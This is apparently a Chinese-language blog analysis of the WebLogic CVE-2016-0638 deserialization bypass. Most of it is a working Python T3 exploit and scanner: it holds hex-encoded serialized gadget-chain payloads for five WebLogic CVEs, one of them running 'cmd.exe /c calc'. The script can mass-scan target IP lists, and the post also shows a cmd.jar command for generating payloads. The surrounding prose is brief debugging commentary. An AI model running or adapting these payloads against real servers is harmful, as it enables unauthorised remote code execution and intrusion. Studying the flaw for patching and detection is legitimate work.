weblogic之CVE-2016-0638反序列化分析

此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过，CVE-2015-4852补丁主要应用在三个位置上

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class

weblogic.iiop.Utils.class

StreamMessageImpl类漏洞代码位置如下：

weblogic之CVE-2016-0638反序列化分析-LMLPHP

先看一下poc是怎么生成的,从下面参考链接下载cmd.jar源码。通过配置如下参数，下断跟踪一下。不加-T默认使用StreamMessageImpl绕过

java -jar cmd.jar -H "121.195.170.207" -C "calc" -B -os win

weblogic之CVE-2016-0638反序列化分析-LMLPHP

跟入executeBlind函数，继续跟入blindExecute

在44行打印Payload，serialBlindDatas这个函数就是具体的反序列化操作。

这里选择的绕过类型streamMessageImpl，返回payload

streamMessageImpl类的writeExternal方法重写

weblogic之CVE-2016-0638反序列化分析-LMLPHP

使用的gagets是common-collections1

生成的payload:

将PAYLOAD字典第一个位置CVE-2016-0638写入payload.

#!/usr/bin/env python

#coding:utf-8

import socket

import time

import re

import argparse

from multiprocessing.dummy import Pool

VUL=['CVE-2016-0638',

    'CVE-2016-3510',

    'CVE-2017-3248',

    'CVE-2018-2628',

    'CVE-2018-2893'

    ]

PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004001e200000000000000100000572aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000017f72696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000003740007636d642e6578657400022f6374000463616c63740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003d78',

    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    'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078',

    'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878',

    ]

VER_SIG=['weblogic.jms.common.StreamMessageImpl',

    'org.apache.commons.collections.functors.InvokerTransformer',

    '\\$Proxy[0-9]+',

    '\\$Proxy[0-9]+',

    'weblogic.jms.common.StreamMessageImpl'

    ]

def t3handshake(sock,server_addr):

    sock.connect(server_addr)

    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))

    time.sleep(1)

    sock.recv(1024)

    print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))

def buildT3RequestObject(dip,sock):

    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'

    data3 = '1a7727000d3234322e323134'

    data4 = '2e312e32353461863d1d0000000078'

    for d in [data1,data2,data3,data4]:

        sock.send(d.decode('hex'))

    time.sleep(2)

    print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))

def sendEvilObjData(sock,data):

    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

    payload+=data

    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)

    sock.send(payload.decode('hex'))

    time.sleep(2)

    res='NO_DATA'

    try:

        res=sock.recv(4096)

    except socket.timeout:

        pass

    # print res.encode('hex')

    return res

def checkVul(res,server_addr,index):

    p=re.findall(VER_SIG[index], res, re.S)

    if len(p)>0:

        print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))

        return True

    else:

        print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))

        return False

def run(dip,dport,index):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整

    sock.settimeout(60)

    server_addr = (dip, dport)

    t3handshake(sock,server_addr)

    buildT3RequestObject(dip,sock)

    rs=sendEvilObjData(sock,PAYLOAD[index])

    checkVul(rs,server_addr,index)

def exp(target):

    dip,dport = target

    vuls = []

    for index in range(len(VUL)):

        try:

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整

            sock.settimeout(60)

            server_addr = (dip, dport)

            t3handshake(sock,server_addr)

            buildT3RequestObject(dip,sock)

            rs=sendEvilObjData(sock,PAYLOAD[index])

            if checkVul(rs,server_addr,index):

                vuls.append(VUL[index])

        except Exception as e:

            print('[-]{} fail:{}'.format(dip,str(e)))

    return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}

def load_target_from_file(filename,port):

    iplist = []

    with open(filename) as f:

        for line in f:

            ip = line.strip()

            if len(ip)>0:

                iplist.append((ip,port))

    return iplist

def process_result(results):

    results_ok = []

    results_fail = []

    for r in results:

        if r['status'] == 'ok':

            results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))

        else:

            results_fail.append(r['ip'])

    print('[+]vuls total:{}\n{}'.format(len(results_ok), '\n'.join(results_ok)))

def main():

    parser = argparse.ArgumentParser(description='weblogic scanner')

    parser.add_argument('-f','--file',default=None,help='read target ip from file')

    parser.add_argument('-t','--target',default=None,help='target ip')

    parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')

    args = parser.parse_args()

    if not args.file is None:

        iplist = load_target_from_file(args.file,int(args.port))

        pool = Pool(10)

        results = pool.map(exp,iplist)

        pool.close()

        pool.join()

        process_result(results)

    elif not args.target is None:

        exp((args.target,int(args.port)))

    else:

        parser.print_help()

        print('You must set target ip or file!')

if __name__=="__main__":

    main()

在weblogic的StreamMessagelmpl下断点运行上面脚本，断点停住，具体分析看图片。

weblogic之CVE-2016-0638反序列化分析-LMLPHP

参考链接：

http://www.4hou.com/vulnerable/12874.html

https://xz.aliyun.com/t/1825/#toc-2

payload参考这人的github

https://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/